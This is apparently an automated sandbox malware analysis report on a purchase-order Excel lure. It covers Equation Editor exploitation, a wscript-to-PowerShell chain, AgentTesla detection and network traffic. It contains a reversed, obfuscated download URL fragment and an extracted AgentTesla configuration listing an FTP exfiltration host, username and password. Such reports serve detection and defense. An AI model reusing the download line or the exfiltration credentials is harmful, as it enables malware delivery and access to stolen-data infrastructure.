@(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wj

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3708, TargetFilename: C:\Users\user\AppData\Local\Temp\j4ib2yoe.4gc.ps1

Suricata Signatures

ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:53:08.847976+0200	2020423	1	Exploit Kit Activity Detected	198.46.178.134	80	192.168.2.22	49168	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:52:57.491095+0200	2049038	1	A Network Trojan was detected	142.250.186.97	443	192.168.2.22	49167	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Orden de Compra No. 78986756565344657.xlam.xlsx

Avira: detected

Found malware configuration

Source: 10.2.AddInProcess32.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.elquijotebanquetes.com", "Username": "mybloddycockcpanel_owner@elquijotebanquetes.com", "Password": "4r@d15PS!-!h"}

Multi AV Scanner detection for submitted file

Source: Orden de Compra No. 78986756565344657.xlam.xlsx

ReversingLabs: Detection: 71%

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 198.46.178.134 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000009.00000002.520159401.0000000000270000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\New Private Panell Src 3.0\Microsoft.Win32.TaskScheduler Rump\obj\Release\net45\Microsoft.Win32.TaskScheduler.pdbSHA256 source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000009.00000002.520159401.0000000000270000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17a source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000009.00000002.520159401.0000000000270000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\New Private Panell Src 3.0\Microsoft.Win32.TaskScheduler Rump\obj\Release\net45\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 3_2_035006DC URLDownloadToFileW,ShellExecuteW,ExitProcess,	3_2_035006DC
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 3_2_0350070A ShellExecuteW,ExitProcess,	3_2_0350070A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 3_2_03500627 LoadLibraryW,	3_2_03500627
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 3_2_0350055E ExitProcess,	3_2_0350055E
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 3_2_035006F5 ShellExecuteW,ExitProcess,	3_2_035006F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 3_2_0350072F ExitProcess,	3_2_0350072F

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: wednesdayyyyyyfile.duckdns.org
Source: global traffic	DNS query: name: wednesdayyyyyyfile.duckdns.org
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: wednesdayyyyyyfile.duckdns.org
Source: global traffic	DNS query: name: ip-api.com

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.134:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
